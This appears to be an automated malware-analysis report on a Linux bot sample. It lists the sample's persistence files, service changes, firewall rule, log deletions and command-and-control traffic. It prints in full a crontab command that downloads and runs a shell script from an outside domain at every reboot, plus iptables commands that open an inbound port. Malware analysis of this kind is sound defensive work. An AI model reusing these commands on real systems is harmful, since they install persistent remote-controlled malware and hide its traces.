Technical Information
To ensure autorun and distribution:
Creates or modifies the following files:
- /var/spool/cron/crontabs/root
- /etc/init.d/job
Malicious functions:
Launches itself as a daemon
Substitutes application name for:
- /bin/bash
Manages services:
- ['/bin/systemctl', 'enable', 'bot']
Launches processes:
- crontab -
- /usr/bin/iptables -A INPUT -p tcp --dport 26721 -j ACCEPT
- /bin/busybox iptables -A INPUT -p tcp --dport 26721 -j ACCEPT
- /usr/sbin/xtables-nft-multi iptables -A INPUT -p tcp --dport 26721 -j ACCEPT
- /bin/iptables -A INPUT -p tcp --dport 26721 -j ACCEPT
- busybox iptables -A INPUT -p tcp --dport 26721 -j ACCEPT
- (crontab -l ; echo \x22@reboot /bin/bash -c \x22/bin/wget http://rebirthltd.com/bins.sh; chmod +x /bin/bins.sh; /bin/sh /bin/bins.sh; /bin/curl -k -L --output /bin/bins.sh http://rebirthltd.com/bins.sh; chmod +x /bin/bins.sh; /bin/sh /bin/bins.sh\x22\x22) | crontab -
- iptables -A INPUT -p tcp --dport 26721 -j ACCEPT
- /bin/sh /bin/bins.sh
- /bin/systemctl enable bot
- crontab -l
- chmod +x /bin/bins.sh
Performs operations with the file system:
Modifies file access rights:
- /var/spool/cron/crontabs/tmp.81pNaZ
- /etc/init.d/job
Deletes folders:
- /tmp/clearsigned.message.l24Bir
- /tmp/clearsigned.message.Df20gs
- /tmp/clearsigned.message.j6wNrd
- /tmp/clearsigned.message.hZ7qrS
- /tmp/clearsigned.message.osUZD2
- /var/log/syslog
- /var/log/daemon.log
Creates or modifies files:
- /var/spool/cron/crontabs/tmp.81pNaZ
- /etc/init/bot.conf
- /root/.bashrc
- /usr/lib/systemd/system/bot.service
- /etc/systemd/system/job.service
- /self
- /proc/490/cmdline
Deletes files:
- /tmp/clearsigned.message.l24Bir
- /tmp/clearsigned.message.Df20gs
- /tmp/clearsigned.message.j6wNrd
- /tmp/clearsigned.message.hZ7qrS
- /tmp/clearsigned.message.osUZD2
- /var/log/syslog
- /var/log/daemon.log
Changes time of creation/access/modification of files:
- /var/spool/cron/crontabs
Network activity:
Awaits incoming connections on ports:
- 127.0.0.1:8345
- 0.0.0.0:26721
Establishes connection:
- 8.#.8.8:53
- 51.###.162.59:53
- 0.0.0.0:0
- 18#.##1.61.24:53
- 19#.###.175.20:35342
DNS ASK:
- re###thltd.com
Sends data to the following servers:
- 19#.###.175.20:35342
Receives data from the following servers:
- 19#.###.175.20:35342
